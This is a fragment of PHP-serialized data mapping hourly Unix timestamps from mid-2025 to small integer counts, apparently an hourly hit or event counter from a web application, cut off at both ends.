1753632000;a:1:{i:0;i:15;}i:1753635600;a:1:{i:0;i:17;}i:1753639200;a:1:{i:0;i:4;}i:1753642800;a:1:{i:0;i:6;}i:1753646400;a:1:{i:0;i:5;}i:1753650000;a:1:{i:0;i:10;}i:1753653600;a:1:{i:0;i:4;}i:1753657200;a:1:{i:0;i:21;}i:1753660800;a:1:{i:0;i:21;}i:1753664400;a:1:{i:0;i:19;}i:1753668000;a:1:{i:0;i:6;}i:1753671600;a:1:{i:0;i:3;}i:1753675200;a:1:{i:0;i:5;}i:1753678800;a:1:{i:0;i:4;}i:1753682400;a:1:{i:0;i:4;}i:1753686000;a:1:{i:0;i:4;}i:1753689600;a:1:{i:0;i:3;}i:1753693200;a:1:{i:0;i:21;}i:1753696800;a:1:{i:0;i:21;}i:1753700400;a:1:{i:0;i:23;}i:1753704000;a:1:{i:0;i:21;}i:1753707600;a:1:{i:0;i:25;}i:1753711200;a:1:{i:0;i:25;}i:1753714800;a:1:{i:0;i:33;}i:1753718400;a:1:{i:0;i:486;}i:1753722000;a:1:{i:0;i:444;}i:1753725600;a:1:{i:0;i:419;}i:1753729200;a:1:{i:0;i:372;}i:1753732800;a:1:{i:0;i:506;}i:1753736400;a:1:{i:0;i:219;}i:1753740000;a:1:{i:0;i:24;}i:1753743600;a:1:{i:0;i:23;}i:1753747200;a:1:{i:0;i:15;}i:1753750800;a:1:{i:0;i:2;}i:1753754400;a:1:{i:0;i:4;}i:1753758000;a:1:{i:0;i:1;}i:1753761600;a:1:{i:0;i:3;}i:1753765200;a:1:{i:0;i:1;}i:1753768800;a:1:{i:0;i:1;}i:1753772400;a:1:{i:0;i:5;}i:1753776000;a:1:{i:0;i:16;}i:1753779600;a:1:{i:0;i:21;}i:1753783200;a:1:{i:0;i:19;}i:1753786800;a:1:{i:0;i:19;}i:1753794000;a:1:{i:0;i:1;}i:1753797600;a:1:{i:0;i:1;}i:1753801200;a:1:{i:0;i:1;}i:1753808400;a:1:{i:0;i:2;}i:1753812000;a:1:{i:0;i:1;}i:1753815600;a:1:{i:0;i:2;}i:1753822800;a:1:{i:0;i:2;}i:1753826400;a:1:{i:0;i:5;}i:1753830000;a:1:{i:0;i:24;}i:1753833600;a:1:{i:0;i:21;}i:1753837200;a:1:{i:0;i:19;}i:1753840800;a:1:{i:0;i:24;}i:1753844400;a:1:{i:0;i:30;}i:1753848000;a:1:{i:0;i:24;}i:1753851600;a:1:{i:0;i:22;}i:1753855200;a:1:{i:0;i:21;}i:1753858800;a:1:{i:0;i:10;}i:1753862400;a:1:{i:0;i:2;}i:1753866000;a:1:{i:0;i:3;}i:1753869600;a:1:{i:0;i:2;}i:1753873200;a:1:{i:0;i:4;}i:1753876800;a:1:{i:0;i:3;}i:1753880400;a:1:{i:0;i:3;}i:1753884000;a:1:{i:0;i:4;}i:1753887600;a:1:{i:0;i:2;}i:1753891200;a:1:{i:0;i:4;}i:1753894800;a:1:{i:0;i:4;}i:1753898400;a:1:{i:0;i:3;}i:1753902000;a:1:{i:0;i:1;}i:1753905600;a:1:{i:0;i:4;}i:1753909200;a:1:{i:0;i:4;}i:1753912800;a:1:{i:0;i:3;}i:1753916400;a:1:{i:0;i:2;}i:1753920000;a:1:{i:0;i:5;}i:1753923600;a:1:{i:0;i:5;}i:1753927200;a:1:{i:0;i:6;}i:1753930800;a:1:{i:0;i:6;}i:1753934400;a:1:{i:0;i:6;}i:1753938000;a:1:{i:0;i:7;}i:1753941600;a:1:{i:0;i:16;}i:1753945200;a:1:{i:0;i:8;}i:1753948800;a:1:{i:0;i:11;}i:1753952400;a:1:{i:0;i:11;}i:1753956000;a:1:{i:0;i:7;}i:1753959600;a:1:{i:0;i:4;}i:1753963200;a:1:{i:0;i:4;}i:1753966800;a:1:{i:0;i:4;}i:1753970400;a:1:{i:0;i:4;}i:1753974000;a:1:{i:0;i:8;}i:1753977600;a:1:{i:0;i:21;}i:1753981200;a:1:{i:0;i:9;}i:1753984800;a:1:{i:0;i:6;}i:1753988400;a:1:{i:0;i:6;}i:1753992000;a:1:{i:0;i:6;}i:1753995600;a:1:{i:0;i:4;}i:1753999200;a:1:{i:0;i:6;}i:1754002800;a:1:{i:0;i:6;}i:1754006400;a:1:{i:0;i:3;}i:1754010000;a:1:{i:0;i:4;}i:1754013600;a:1:{i:0;i:6;}i:1754017200;a:1:{i:0;i:4;}i:1754020800;a:1:{i:0;i:3;}i:1754024400;a:1:{i:0;i:6;}i:1754028000;a:1:{i:0;i:12;}i:1754031600;a:1:{i:0;i:14;}i:1754035200;a:1:{i:0;i:13;}i:1754038800;a:1:{i:0;i:11;}i:1754042400;a:1:{i:0;i:8;}i:1754046000;a:1:{i:0;i:10;}i:1754053200;a:1:{i:0;i:1;}i:1754056800;a:1:{i:0;i:4;}i:1754060400;a:1:{i:0;i:2;}i:1754067600;a:1:{i:0;i:3;}i:1754074800;a:1:{i:0;i:1;}i:1754078400;a:1:{i:0;i:3;}i:1754082000;a:1:{i:0;i:8;}i:1754085600;a:1:{i:0;i:13;}i:1754089200;a:1:{i:0;i:14;}i:1754092800;a:1:{i:0;i:15;}i:1754096400;a:1:{i:0;i:10;}i:1754100000;a:1:{i:0;i:4;}i:1754103600;a:1:{i:0;i:3;}i:1754107200;a:1:{i:0;i:4;}i:1754110800;a:1:{i:0;i:9;}i:1754114400;a:1:{i:0;i:7;}i:1754118000;a:1:{i:0;i:11;}i:1754121600;a:1:{i:0;i:13;}i:1754125200;a:1:{i:0;i:11;}i:1754128800;a:1:{i:0;i:13;}i:1754132400;a:1:{i:0;i:20;}i:1754136000;a:1:{i:0;i:20;}i:1754139600;a:1:{i:0;i:11;}i:1754143200;a:1:{i:0;i:2;}i:1754146800;a:1:{i:0;i:3;}i:1754150400;a:1:{i:0;i:5;}i:1754154000;a:1:{i:0;i:3;}i:1754157600;a:1:{i:0;i:4;}i:1754161200;a:1:{i:0;i:6;}i:1754164800;a:1:{i:0;i:4;}i:1754168400;a:1:{i:0;i:6;}i:1754172000;a:1:{i:0;i:4;}i:1754175600;a:1:{i:0;i:4;}i:1754179200;a:1:{i:0;i:3;}i:1754182800;a:1:{i:0;i:4;}i:1754186400;a:1:{i:0;i:13;}i:1754190000;a:1:{i:0;i:12;}i:1754193600;a:1:{i:0;i:13;}i:1754197200;a:1:{i:0;i:243;}i:1754200800;a:1:{i:0;i:439;}i:1754204400;a:1:{i:0;i:411;}i:1754208000;a:1:{i:0;i:396;}i:1754211600;a:1:{i:0;i:359;}i:1754215200;a:1:{i:0;i:332;}i:1754218800;a:1:{i:0;i:269;}i:1754222400;a:1:{i:0;i:154;}i:1754226000;a:1:{i:0;i:12;}i:1754229600;a:1:{i:0;i:8;}i:1754233200;a:1:{i:0;i:1;}i:1754236800;a:1:{i:0;i:4;}i:1754240400;a:1:{i:0;i:4;}i:1754244000;a:1:{i:0;i:3;}i:1754247600;a:1:{i:0;i:4;}i:1754251200;a:1:{i:0;i:2;}i:1754254800;a:1:{i:0;i:2;}i:1754258400;a:1:{i:0;i:2;}i:1754262000;a:1:{i:0;i:2;}i:1754265600;a:1:{i:0;i:1;}i:1754269200;a:1:{i:0;i:3;}i:1754272800;a:1:{i:0;i:9;}i:1754276400;a:1:{i:0;i:14;}i:1754280000;a:1:{i:0;i:16;}i:1754283600;a:1:{i:0;i:17;}i:1754287200;a:1:{i:0;i:15;}i:1754290800;a:1:{i:0;i:15;}i:1754294400;a:1:{i:0;i:14;}i:1754298000;a:1:{i:0;i:14;}i:1754301600;a:1:{i:0;i:9;}i:1754305200;a:1:{i:0;i:4;}i:1754308800;a:1:{i:0;i:9;}i:1754312400;a:1:{i:0;i:12;}i:1754316000;a:1:{i:0;i:12;}i:1754319600;a:1:{i:0;i:11;}i:1754323200;a:1:{i:0;i:15;}i:1754326800;a:1:{i:0;i:13;}i:1754330400;a:1:{i:0;i:16;}i:1754334000;a:1:{i:0;i:14;}i:1754337600;a:1:{i:0;i:7;}i:1754341200;a:1:{i:0;i:4;}i:1754344800;a:1:{i:0;i:6;}i:1754348400;a:1:{i:0;i:2;}i:1754352000;a:1:{i:0;i:2;}i:1754355600;a:1:{i:0;i:3;}i:1754359200;a:1:{i:0;i:12;}i:1754362800;a:1:{i:0;i:27;}i:1754366400;a:1:{i:0;i:16;}i:1754370000;a:1:{i:0;i:17;}i:1754373600;a:1:{i:0;i:18;}i:1754377200;a:1:{i:0;i:18;}i:1754380800;a:1:{i:0;i:17;}i:1754384400;a:1:{i:0;i:18;}i:1754388000;a:1:{i:0;i:19;}i:1754391600;a:1:{i:0;i:20;}i:1754395200;a:1:{i:0;i:16;}i:1754398800;a:1:{i:0;i:17;}i:1754402400;a:1:{i:0;i:10;}i:1754406000;a:1:{i:0;i:19;}i:1754409600;a:1:{i:0;i:15;}i:1754413200;a:1:{i:0;i:13;}i:1754416800;a:1:{i:0;i:7;}i:1754420400;a:1:{i:0;i:3;}i:1754424000;a:1:{i:0;i:3;}i:1754427600;a:1:{i:0;i:2;}i:1754431200;a:1:{i:0;i:3;}i:1754434800;a:1:{i:0;i:2;}i:1754438400;a:1:{i:0;i:1;}i:1754442000;a:1:{i:0;i:3;}i:1754445600;a:1:{i:0;i:1;}i:1754449200;a:1:{i:0;i:4;}i:1754452800;a:1:{i:0;i:11;}i:1754456400;a:1:{i:0;i:15;}i:1754460000;a:1:{i:0;i:13;}i:1754463600;a:1:{i:0;i:15;}i:1754467200;a:1:{i:0;i:27;}i:1754470800;a:1:{i:0;i:22;}i:1754474400;a:1:{i:0;i:13;}i:1754478000;a:1:{i:0;i:11;}i:1754481600;a:1:{i:0;i:1;}i:1754485200;a:1:{i:0;i:2;}i:1754488800;a:1:{i:0;i:1;}i:1754492400;a:1:{i:0;i:1;}i:1754496000;a:1:{i:0;i:2;}i:1754499600;a:1:{i:0;i:1;}i:1754503200;a:1:{i:0;i:1;}i:1754506800;a:1:{i:0;i:1;}i:1754510400;a:1:{i:0;i:1;}i:1754514000;a:1:{i:0;i:2;}i:1754517600;a:1:{i:0;i:2;}i:1754521200;a:1:{i:0;i:7;}i:1754524800;a:1:{i:0;i:9;}i:1754528400;a:1:{i:0;i:11;}i:1754532000;a:1:{i:0;i:8;}i:1754535600;a:1:{i:0;i:9;}i:1754539200;a:1:{i:0;i:14;}i:1754542800;a:1:{i:0;i:8;}i:1754546400;a:1:{i:0;i:11;}i:1754550000;a:1:{i:0;i:15;}i:1754553600;a:1:{i:0;i:10;}i:1754557200;a:1:{i:0;i:6;}i:1754560800;a:1:{i:0;i:3;}i:1754564400;a:1:{i:0;i:3;}i:1754568000;a:1:{i:0;i:17;}i:1754571600;a:1:{i:0;i:11;}i:1754575200;a:1:{i:0;i:4;}i:1754578800;a:1:{i:0;i:2;}i:1754582400;a:1:{i:0;i:3;}i:1754586000;a:1:{i:0;i:4;}i:1754589600;a:1:{i:0;i:3;}i:1754593200;a:1:{i:0;i:3;}i:1754596800;a:1:{i:0;i:2;}i:1754600400;a:1:{i:0;i:1;}i:1754604000;a:1:{i:0;i:5;}i:1754607600;a:1:{i:0;i:1;}i:1754611200;a:1:{i:0;i:4;}i:1754614800;a:1:{i:0;i:1;}i:1754618400;a:1:{i:0;i:1;}i:1754622000;a:1:{i:0;i:2;}i:1754625600;a:1:{i:0;i:2;}i:1754629200;a:1:{i:0;i:3;}i:1754632800;a:1:{i:0;i:7;}i:1754636400;a:1:{i:0;i:11;}i:1754640000;a:1:{i:0;i:2;}i:1754643600;a:1:{i:0;i:5;}i:1754647200;a:1:{i:0;i:2;}i:1754650800;a:1:{i:0;i:1;}i:1754654400;a:1:{i:0;i:2;}i:1754661600;a:1:{i:0;i:1;}i:1754665200;a:1:{i:0;i:2;}i:1754668800;a:1:{i:0;i:1;}i:1754672400;a:1:{i:0;i:1;}i:1754676000;a:1:{i:0;i:9;}i:1754679600;a:1:{i:0;i:3;}i:1754683200;a:1:{i:0;i:13;}i:1754686800;a:1:{i:0;i:5;}i:1754690400;a:1:{i:0;i:2;}i:1754694000;a:1:{i:0;i:5;}i:1754697600;a:1:{i:0;i:1;}i:1754708400;a:1:{i:0;i:2;}i:1754715600;a:1:{i:0;i:1;}i:1754719200;a:1:{i:0;i:2;}i:1754722800;a:1:{i:0;i:1;}i:1754726400;a:1:{i:0;i:2;}i:1754730000;a:1:{i:0;i:2;}i:1754733600;a:1:{i:0;i:11;}i:1754737200;a:1:{i:0;i:2;}i:1754740800;a:1:{i:0;i:2;}i:1754748000;a:1:{i:0;i:3;}i:1754751600;a:1:{i:0;i:3;}i:1754755200;a:1:{i:0;i:9;}i:1754758800;a:1:{i:0;i:2;}i:1754766000;a:1:{i:0;i:1;}i:1754773200;a:1:{i:0;i:1;}i:1754776800;a:1:{i:0;i:3;}i:1754784000;a:1:{i:0;i:3;}i:1754787600;a:1:{i:0;i:2;}i:1754791200;a:1:{i:0;i:2;}i:1754794800;a:1:{i:0;i:3;}i:1754798400;a:1:{i:0;i:16;}i:1754802000;a:1:{i:0;i:12;}i:1754805600;a:1:{i:0;i:14;}i:1754809200;a:1:{i:0;i:27;}i:1754812800;a:1:{i:0;i:17;}i:1754816400;a:1:{i:0;i:17;}i:1754820000;a:1:{i:0;i:14;}i:1754823600;a:1:{i:0;i:13;}i:1754827200;a:1:{i:0;i:15;}i:1754830800;a:1:{i:0;i:15;}i:1754834400;a:1:{i:0;i:13;}i:1754838000;a:1:{i:0;i:20;}i:1754841600;a:1:{i:0;i:18;}i:1754845200;a:1:{i:0;i:6;}i:1754852400;a:1:{i:0;i:3;}i:1754856000;a:1:{i:0;i:1;}i:1754863200;a:1:{i:0;i:6;}i:1754866800;a:1:{i:0;i:16;}i:1754870400;a:1:{i:0;i:5;}i:1754874000;a:1:{i:0;i:7;}i:1754877600;a:1:{i:0;i:2;}i:1754881200;a:1:{i:0;i:2;}i:1754884800;a:1:{i:0;i:2;}i:1754888400;a:1:{i:0;i:2;}i:1754892000;a:1:{i:0;i:2;}i:1754895600;a:1:{i:0;i:2;}i:1754899200;a:1:{i:0;i:12;}i:1754902800;a:1:{i:0;i:11;}i:1754906400;a:1:{i:0;i:12;}i:1754910000;a:1:{i:0;i:12;}i:1754913600;a:1:{i:0;i:10;}i:1754917200;a:1:{i:0;i:13;}i:1754920800;a:1:{i:0;i:15;}i:1754924400;a:1:{i:0;i:10;}i:1754928000;a:1:{i:0;i:16;}i:1754931600;a:1:{i:0;i:14;}i:1754935200;a:1:{i:0;i:9;}i:1754938800;a:1:{i:0;i:13;}i:1754942400;a:1:{i:0;i:14;}i:1754946000;a:1:{i:0;i:15;}i:1754949600;a:1:{i:0;i:16;}i:1754953200;a:1:{i:0;i:16;}i:1754956800;a:1:{i:0;i:13;}i:1754960400;a:1:{i:0;i:13;}i:1754964000;a:1:{i:0;i:14;}i:1754967600;a:1:{i:0;i:11;}i:1754971200;a:1:{i:0;i:6;}i:1754974800;a:1:{i:0;i:9;}i:1754978400;a:1:{i:0;i:8;}i:1754982000;a:1:{i:0;i:14;}i:1754985600;a:1:{i:0;i:10;}i:1754989200;a:1:{i:0;i:10;}i:1754992800;a:1:{i:0;i:16;}i:1754996400;a:1:{i:0;i:12;}i:1755000000;a:1:{i:0;i:7;}i:1755003600;a:1:{i:0;i:6;}i:1755007200;a:1:{i:0;i:7;}i:1755010800;a:1:{i:0;i:1;}i:1755014400;a:1:{i:0;i:3;}i:1755021600;a:1:{i:0;i:2;}i:1755025200;a:1:{i:0;i:2;}i:1755032400;a:1:{i:0;i:1;}i:1755036000;a:1:{i:0;i:1;}i:1755039600;a:1:{i:0;i:3;}i:1755043200;a:1:{i:0;i:1;}i:1755046800;a:1:{i:0;i:2;}i:1755054000;a:1:{i:0;i:1;}i:1755064800;a:1:{i:0;i:2;}i:1755068400;a:1:{i:0;i:1;}i:1755072000;a:1:{i:0;i:3;}i:1755075600;a:1:{i:0;i:12;}i:1755082800;a:1:{i:0;i:1;}i:1755090000;a:1:{i:0;i:3;}i:1755093600;a:1:{i:0;i:6;}i:1755097200;a:1:{i:0;i:3;}i:1755100800;a:1:{i:0;i:1;}i:1755104400;a:1:{i:0;i:1;}i:1755115200;a:1:{i:0;i:2;}i:1755118800;a:1:{i:0;i:3;}i:1755122400;a:1:{i:0;i:1;}i:1755126000;a:1:{i:0;i:3;}i:1755136800;a:1:{i:0;i:1;}i:1755140400;a:1:{i:0;i:1;}i:1755144000;a:1:{i:0;i:1;}i:1755147600;a:1:{i:0;i:2;}i:1755154800;a:1:{i:0;i:1;}i:1755158400;a:1:{i:0;i:2;}i:1755162000;a:1:{i:0;i:2;}i:1755165600;a:1:{i:0;i:1;}i:1755172800;a:1:{i:0;i:1;}i:1755183600;a:1:{i:0;i:2;}i:1755198000;a:1:{i:0;i:1;}i:1755201600;a:1:{i:0;i:4;}i:1755208800;a:1:{i:0;i:2;}i:1755212400;a:1:{i:0;i:14;}i:1755216000;a:1:{i:0;i:11;}i:1755219600;a:1:{i:0;i:10;}i:1755223200;a:1:{i:0;i:14;}i:1755226800;a:1:{i:0;i:14;}i:1755230400;a:1:{i:0;i:12;}i:1755234000;a:1:{i:0;i:15;}i:1755237600;a:1:{i:0;i:5;}i:1755241200;a:1:{i:0;i:1;}i:1755244800;a:1:{i:0;i:12;}i:1755248400;a:1:{i:0;i:13;}i:1755252000;a:1:{i:0;i:10;}i:1755255600;a:1:{i:0;i:14;}i:1755259200;a:1:{i:0;i:9;}i:1755262800;a:1:{i:0;i:12;}i:1755266400;a:1:{i:0;i:10;}i:1755270000;a:1:{i:0;i:8;}i:1755273600;a:1:{i:0;i:10;}i:1755277200;a:1:{i:0;i:17;}i:1755280800;a:1:{i:0;i:21;}i:1755284400;a:1:{i:0;i:3;}i:1755288000;a:1:{i:0;i:1;}i:1755291600;a:1:{i:0;i:5;}i:1755298800;a:1:{i:0;i:1;}i:1755302400;a:1:{i:0;i:1;}i:1755306000;a:1:{i:0;i:4;}i:1755313200;a:1:{i:0;i:1;}i:1755316800;a:1:{i:0;i:4;}i:1755320400;a:1:{i:0;i:5;}i:1755324000;a:1:{i:0;i:3;}i:1755327600;a:1:{i:0;i:1;}i:1755331200;a:1:{i:0;i:2;}i:1755338400;a:1:{i:0;i:6;}i:1755342000;a:1:{i:0;i:32;}i:1755345600;a:1:{i:0;i:32;}i:1755349200;a:1:{i:0;i:27;}i:1755352800;a:1:{i:0;i:4;}i:1755356400;a:1:{i:0;i:3;}i:1755360000;a:1:{i:0;i:4;}i:1755363600;a:1:{i:0;i:5;}i:1755367200;a:1:{i:0;i:3;}i:1755370800;a:1:{i:0;i:4;}i:1755374400;a:1:{i:0;i:3;}i:1755378000;a:1:{i:0;i:3;}i:1755381600;a:1:{i:0;i:1;}i:1755385200;a:1:{i:0;i:6;}i:1755388800;a:1:{i:0;i:3;}i:1755392400;a:1:{i:0;i:2;}i:1755396000;a:1:{i:0;i:1;}i:1755399600;a:1:{i:0;i:3;}i:1755403200;a:1:{i:0;i:7;}i:1755406800;a:1:{i:0;i:25;}i:1755410400;a:1:{i:0;i:27;}i:1755414000;a:1:{i:0;i:29;}i:1755417600;a:1:{i:0;i:31;}i:1755421200;a:1:{i:0;i:25;}i:1755424800;a:1:{i:0;i:28;}i:1755428400;a:1:{i:0;i:26;}i:1755432000;a:1:{i:0;i:34;}i:1755435600;a:1:{i:0;i:36;}i:1755439200;a:1:{i:0;i:30;}i:1755442800;a:1:{i:0;i:32;}i:1755446400;a:1:{i:0;i:28;}i:1755450000;a:1:{i:0;i:34;}i:1755453600;a:1:{i:0;i:22;}i:1755457200;a:1:{i:0;i:4;}i:1755460800;a:1:{i:0;i:10;}i:1755464400;a:1:{i:0;i:3;}i:1755468000;a:1:{i:0;i:2;}i:1755471600;a:1:{i:0;i:4;}i:1755475200;a:1:{i:0;i:1;}i:1755478800;a:1:{i:0;i:4;}i:1755482400;a:1:{i:0;i:12;}i:1755486000;a:1:{i:0;i:22;}i:1755489600;a:1:{i:0;i:30;}i:1755493200;a:1:{i:0;i:27;}i:1755496800;a:1:{i:0;i:23;}i:1755500400;a:1:{i:0;i:13;}i:1755504000;a:1:{i:0;i:18;}i:1755507600;a:1:{i:0;i:22;}i:1755511200;a:1:{i:0;i:26;}i:1755514800;a:1:{i:0;i:28;}i:1755518400;a:1:{i:0;i:25;}i:1755522000;a:1:{i:0;i:24;}i:1755525600;a:1:{i:0;i:23;}i:1755529200;a:1:{i:0;i:3;}i:1755532800;a:1:{i:0;i:167;}i:1755536400;a:1:{i:0;i:8;}i:1755540000;a:1:{i:0;i:10;}i:1755543600;a:1:{i:0;i:11;}i:1755547200;a:1:{i:0;i:9;}i:1755550800;a:1:{i:0;i:10;}i:1755554400;a:1:{i:0;i:12;}i:1755558000;a:1:{i:0;i:5;}i:1755561600;a:1:{i:0;i:10;}i:1755565200;a:1:{i:0;i:9;}i:1755568800;a:1:{i:0;i:366;}i:1755572400;a:1:{i:0;i:658;}i:1755576000;a:1:{i:0;i:610;}i:1755579600;a:1:{i:0;i:605;}i:1755583200;a:1:{i:0;i:579;}i:1755586800;a:1:{i:0;i:568;}i:1755590400;a:1:{i:0;i:588;}i:1755594000;a:1:{i:0;i:556;}i:1755597600;a:1:{i:0;i:33;}i:1755601200;a:1:{i:0;i:29;}i:1755604800;a:1:{i:0;i:29;}i:1755608400;a:1:{i:0;i:15;}i:1755612000;a:1:{i:0;i:13;}i:1755615600;a:1:{i:0;i:8;}i:1755619200;a:1:{i:0;i:14;}i:1755622800;a:1:{i:0;i:10;}i:1755626400;a:1:{i:0;i:6;}i:1755630000;a:1:{i:0;i:9;}i:1755633600;a:1:{i:0;i:7;}i:1755637200;a:1:{i:0;i:9;}i:1755640800;a:1:{i:0;i:21;}i:1755644400;a:1:{i:0;i:6;}i:1755648000;a:1:{i:0;i:7;}i:1755651600;a:1:{i:0;i:9;}i:1755655200;a:1:{i:0;i:2;}i:1755658800;a:1:{i:0;i:8;}i:1755662400;a:1:{i:0;i:5;}i:1755666000;a:1:{i:0;i:6;}i:1755669600;a:1:{i:0;i:7;}i:1755673200;a:1:{i:0;i:11;}i:1755676800;a:1:{i:0;i:8;}i:1755680400;a:1:{i:0;i:30;}i:1755684000;a:1:{i:0;i:267;}i:1755687600;a:1:{i:0;i:460;}i:1755691200;a:1:{i:0;i:512;}i:1755694800;a:1:{i:0;i:588;}i:1755698400;a:1:{i:0;i:609;}i:1755702000;a:1:{i:0;i:508;}i:1755705600;a:1:{i:0;i:458;}i:1755709200;a:1:{i:0;i:347;}i:1755712800;a:1:{i:0;i:149;}i:1755716400;a:1:{i:0;i:6;}i:1755720000;a:1:{i:0;i:2;}i:1755723600;a:1:{i:0;i:6;}i:1755727200;a:1:{i:0;i:2;}i:1755730800;a:1:{i:0;i:14;}i:1755734400;a:1:{i:0;i:15;}i:1755738000;a:1:{i:0;i:20;}i:1755741600;a:1:{i:0;i:23;}i:1755745200;a:1:{i:0;i:15;}i:1755748800;a:1:{i:0;i:3;}i:1755752400;a:1:{i:0;i:4;}i:1755756000;a:1:{i:0;i:2;}i:1755759600;a:1:{i:0;i:9;}i:1755763200;a:1:{i:0;i:18;}i:1755766800;a:1:{i:0;i:18;}i:1755770400;a:1:{i:0;i:7;}i:1755774000;a:1:{i:0;i:4;}i:1755777600;a:1:{i:0;i:3;}i:1755781200;a:1:{i:0;i:3;}i:1755784800;a:1:{i:0;i:10;}i:1755788400;a:1:{i:0;i:14;}i:1755792000;a:1:{i:0;i:10;}i:1755795600;a:1:{i:0;i:4;}i:1755799200;a:1:{i:0;i:5;}i:1755802800;a:1:{i:0;i:3;}i:1755806400;a:1:{i:0;i:4;}i:1755810000;a:1:{i:0;i:4;}i:1755813600;a:1:{i:0;i:4;}i:1755817200;a:1:{i:0;i:6;}i:1755820800;a:1:{i:0;i:1;}i:1755824400;a:1:{i:0;i:4;}i:1755831600;a:1:{i:0;i:4;}i:1755835200;a:1:{i:0;i:9;}i:1755838800;a:1:{i:0;i:5;}i:1755842400;a:1:{i:0;i:5;}i:1755846000;a:1:{i:0;i:7;}i:1755849600;a:1:{i:0;i:8;}i:1755853200;a:1:{i:0;i:10;}i:1755856800;a:1:{i:0;i:9;}i:1755860400;a:1:{i:0;i:6;}i:1755864000;a:1:{i:0;i:8;}i:1755867600;a:1:{i:0;i:7;}i:1755871200;a:1:{i:0;i:9;}i:1755874800;a:1:{i:0;i:8;}i:1755878400;a:1:{i:0;i:8;}i:1755882000;a:1:{i:0;i:6;}i:1755885600;a:1:{i:0;i:8;}i:1755889200;a:1:{i:0;i:8;}i:1755892800;a:1:{i:0;i:11;}i:1755896400;a:1:{i:0;i:8;}i:1755900000;a:1:{i:0;i:13;}i:1755903600;a:1:{i:0;i:6;}i:1755907200;a:1:{i:0;i:3;}i:1755910800;a:1:{i:0;i:6;}i:1755914400;a:1:{i:0;i:8;}i:1755918000;a:1:{i:0;i:7;}i:1755921600;a:1:{i:0;i:26;}i:1755925200;a:1:{i:0;i:27;}i:1755928800;a:1:{i:0;i:25;}i:1755932400;a:1:{i:0;i:32;}i:1755936000;a:1:{i:0;i:29;}i:1755939600;a:1:{i:0;i:19;}i:1755943200;a:1:{i:0;i:23;}i:1755946800;a:1:{i:0;i:14;}i:1755950400;a:1:{i:0;i:3;}i:1755954000;a:1:{i:0;i:8;}i:1755957600;a:1:{i:0;i:16;}i:1755961200;a:1:{i:0;i:24;}i:1755964800;a:1:{i:0;i:26;}i:1755968400;a:1:{i:0;i:26;}i:1755972000;a:1:{i:0;i:20;}i:1755975600;a:1:{i:0;i:21;}i:1755979200;a:1:{i:0;i:17;}i:1755982800;a:1:{i:0;i:23;}i:1755986400;a:1:{i:0;i:10;}i:1755990000;a:1:{i:0;i:5;}i:1755993600;a:1:{i:0;i:2;}i:1755997200;a:1:{i:0;i:8;}i:1756000800;a:1:{i:0;i:7;}i:1756004400;a:1:{i:0;i:6;}i:1756008000;a:1:{i:0;i:9;}i:1756011600;a:1:{i:0;i:8;}i:1756015200;a:1:{i:0;i:4;}i:1756018800;a:1:{i:0;i:22;}i:1756022400;a:1:{i:0;i:6;}i:1756026000;a:1:{i:0;i:5;}i:1756029600;a:1:{i:0;i:11;}i:1756033200;a:1:{i:0;i:19;}i:1756036800;a:1:{i:0;i:12;}i:1756040400;a:1:{i:0;i:11;}i:1756044000;a:1:{i:0;i:632;}i:1756047600;a:1:{i:0;i:711;}i:1756051200;a:1:{i:0;i:691;}i:1756054800;a:1:{i:0;i:718;}i:1756058400;a:1:{i:0;i:787;}i:1756062000;a:1:{i:0;i:614;}i:1756065600;a:1:{i:0;i:649;}i:1756069200;a:1:{i:0;i:346;}i:1756072800;a:1:{i:0;i:10;}i:1756076400;a:1:{i:0;i:9;}i:1756080000;a:1:{i:0;i:8;}i:1756083600;a:1:{i:0;i:5;}i:1756087200;a:1:{i:0;i:9;}i:1756090800;a:1:{i:0;i:11;}i:1756094400;a:1:{i:0;i:7;}i:1756098000;a:1:{i:0;i:7;}i:1756101600;a:1:{i:0;i:6;}i:1756105200;a:1:{i:0;i:3;}i:1756108800;a:1:{i:0;i:15;}i:1756112400;a:1:{i:0;i:23;}i:1756116000;a:1:{i:0;i:20;}i:1756119600;a:1:{i:0;i:22;}i:1756123200;a:1:{i:0;i:19;}i:1756126800;a:1:{i:0;i:22;}i:1756130400;a:1:{i:0;i:29;}i:1756134000;a:1:{i:0;i:14;}i:1756137600;a:1:{i:0;i:13;}i:1756141200;a:1:{i:0;i:17;}i:1756144800;a:1:{i:0;i:23;}i:1756148400;a:1:{i:0;i:24;}i:1756152000;a:1:{i:0;i:15;}i:1756155600;a:1:{i:0;i:9;}i:1756159200;a:1:{i:0;i:1;}i:1756162800;a:1:{i:0;i:1;}i:1756166400;a:1:{i:0;i:3;}i:1756173600;a:1:{i:0;i:4;}i:1756177200;a:1:{i:0;i:7;}i:1756180800;a:1:{i:0;i:21;}i:1756184400;a:1:{i:0;i:17;}i:1756188000;a:1:{i:0;i:21;}i:1756191600;a:1:{i:0;i:15;}i:1756195200;a:1:{i:0;i:19;}i:1756198800;a:1:{i:0;i:16;}i:1756202400;a:1:{i:0;i:13;}i:1756206000;a:1:{i:0;i:3;}i:1756209600;a:1:{i:0;i:5;}i:1756216800;a:1:{i:0;i:1;}i:1756224000;a:1:{i:0;i:1;}i:1756231200;a:1:{i:0;i:1;}i:1756234800;a:1:{i:0;i:6;}i:1756238400;a:1:{i:0;i:7;}i:1756242000;a:1:{i:0;i:1;}i:1756249200;a:1:{i:0;i:12;}i:1756252800;a:1:{i:0;i:15;}i:1756256400;a:1:{i:0;i:17;}i:1756260000;a:1:{i:0;i:16;}i:1756263600;a:1:{i:0;i:21;}i:1756267200;a:1:{i:0;i:14;}i:1756270800;a:1:{i:0;i:11;}i:1756274400;a:1:{i:0;i:16;}i:1756278000;a:1:{i:0;i:17;}i:1756281600;a:1:{i:0;i:8;}i:1756285200;a:1:{i:0;i:15;}i:1756288800;a:1:{i:0;i:13;}i:1756292400;a:1:{i:0;i:20;}i:1756296000;a:1:{i:0;i:20;}i:1756299600;a:1:{i:0;i:11;}i:1756303200;a:1:{i:0;i:8;}i:1756306800;a:1:{i:0;i:2;}i:1756310400;a:1:{i:0;i:1;}i:1756314000;a:1:{i:0;i:3;}i:1756317600;a:1:{i:0;i:3;}i:1756321200;a:1:{i:0;i:5;}i:1756324800;a:1:{i:0;i:4;}i:1756328400;a:1:{i:0;i:5;}i:1756332000;a:1:{i:0;i:3;}i:1756335600;a:1:{i:0;i:4;}i:1756339200;a:1:{i:0;i:4;}i:1756342800;a:1:{i:0;i:3;}i:1756346400;a:1:{i:0;i:2;}i:1756350000;a:1:{i:0;i:5;}i:1756353600;a:1:{i:0;i:2;}i:1756357200;a:1:{i:0;i:5;}i:1756360800;a